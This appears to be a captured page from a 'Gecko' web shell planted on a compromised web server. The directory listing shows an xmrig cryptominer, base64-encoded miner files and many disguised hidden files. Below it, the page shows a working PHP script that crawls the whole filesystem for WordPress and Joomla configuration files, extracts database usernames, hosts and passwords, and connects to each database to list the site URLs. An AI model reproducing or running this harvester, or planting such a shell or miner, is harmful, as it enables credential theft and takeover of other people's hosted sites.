Gecko [ voncairobella.com ]

Name	Size	Permission	Date
.cache	[ DIR ]	drwxr-xr-x	2026-01-15 19:31
.x	[ DIR ]	drwxr-xr-x	2026-01-10 01:52
lsws	[ DIR ]	drwxr-x---	2026-01-16 03:10
xmrig-miner	[ DIR ]	drwxrwxrwx	2026-01-15 19:31
.bind	13.76 KB	-rw-r--r--	2025-06-16 03:35
.binding	57 B	-rw-r--r--	2025-08-04 03:31
.comp	59 B	-rw-r--r--	2025-06-13 12:45
.component	46 B	-rw-r--r--	2025-07-13 19:25
.dat	19.21 KB	-rw-r--r--	2025-07-21 05:39
.data	54 B	-rw-r--r--	2025-07-11 14:03
.dchunk	4.22 KB	-rw-r--r--	2025-12-25 00:49
.elem	60 B	-rw-r--r--	2025-07-11 11:07
.element	4.25 KB	-rw-r--r--	2025-12-18 02:41
.ent	4.4 KB	-rw-r--r--	2025-06-11 22:32
.entity	3.07 KB	-rw-r--r--	2026-01-15 02:29
.entry	57 B	-rw-r--r--	2025-07-10 20:10
.fac	50 B	-rw-r--r--	2025-07-18 14:32
.factor	7.32 KB	-rw-r--r--	2026-01-06 13:06
.flag	57 B	-rw-r--r--	2026-01-05 06:24
.flg	48 B	-rw-r--r--	2025-07-11 11:16
.holder	48 B	-rw-r--r--	2025-07-11 03:37
.item	46 B	-rw-r--r--	2025-07-25 20:26
.itm	53 B	-rw-r--r--	2025-07-11 03:38
.k	4.25 KB	-rw-r--r--	2025-12-18 02:51
.key	1.37 KB	-rw-r--r--	2025-07-10 20:36
.marker	4.25 KB	-rw-r--r--	2026-01-02 15:54
.pointer	4.25 KB	-rw-r--r--	2026-01-02 15:54
.pset	51 B	-rw-r--r--	2025-11-15 19:16
.rec	2.6 KB	-rw-r--r--	2025-07-10 15:32
.reference	17.24 KB	-rw-r--r--	2025-07-18 07:15
.res	4.25 KB	-rw-r--r--	2025-12-18 02:44
.resource	51 B	-rw-r--r--	2025-07-24 23:55
.sym	17.53 KB	-rw-r--r--	2025-07-31 03:57
.symbol	54 B	-rw-r--r--	2025-07-11 09:38
.tkn	48 B	-rw-r--r--	2025-07-30 00:12
.token	7.45 KB	-rw-r--r--	2025-07-13 19:01
PostgreSQL.705205153	14.64 KB	-rw-------	2026-01-13 07:36
miner	19.98 KB	-rw-r--r--	2026-01-15 15:11
miner.b64	26.64 KB	-rw-r--r--	2026-01-15 15:11
miner.log	771 B	-rw-r--r--	2026-01-15 15:11
svc_68d697d76dfb7	12.42 MB	-rwxr-xr-x	2025-09-26 13:40

Rename

<?php   $r = "/";  function is_valid_domain($domain) {     if (!substr_count($domain, '.')) {         return false;     }     if (stripos($domain, 'www.') === 0) {         $domain = substr($domain, 4);     }     $again = 'http://' . $domain;     return filter_var($again, FILTER_VALIDATE_URL); } function parse_define_value($line) {     preg_match("/define$.*'(.*)'$;/", $line, $matches);     return isset($matches[1]) ? $matches[1] : null; } function scan_wp($p) {     $data = file_get_contents($p);     $pattern = "/table_prefix\s*=\s*'([^']*)';/i";     if (preg_match($pattern, $data, $matches)) {         $table_prefix = $matches[1];     } else {         $table_prefix = 'wp_';     }     $lines = array_map('rtrim', file($p));     $conf = [];     foreach ($lines as $line) {         if (preg_match('/define\(\'(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\'/', $line, $matches)) {             $conf[$matches[1]] = parse_define_value($line);         }     }     $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']);     if (!$mysqli->connect_errno) {         if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) {             $row = $result->fetch_object();             $result->close();             $p = dirname($p);             print "<f>{$p}@@@{$row->option_value}@@@wp@@@{$p}</f>\n";         }         $mysqli->close();     } } function scan_joomla($p) {     $c = file_get_contents($p);     preg_match("/live_site = '(.*?)';/", $c, $m);     if (isset($m[1])) {         $p = dirname($p);         print "<f>{$p}@@@{$m[1]}@@@joomla@@@{$p}</f>\n";     } } function scan($path) {     $existed = ["alugama.selfishproyectos.com","banda-sinaloense.mx","procables.selfishproyectos.com"];     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = $path . '/' . $file;             if ($file != '.' && $file != '..') {                 $found = false;                 foreach ($existed as $domain) {                     if (strstr($p, $domain)) {                         $found = true;                         break;                     }                 }                 if ($found) {                     continue;                 }                 if (is_link($p)) {                     continue;                 } elseif (is_dir($p)) {                     scan($p);                 } elseif ($file == 'wp-config.php') {                     scan_wp($p);                 } elseif ($file == 'configuration.php') {                     scan_joomla($p);                 }             }         }     } } scan($r); die('!ended!');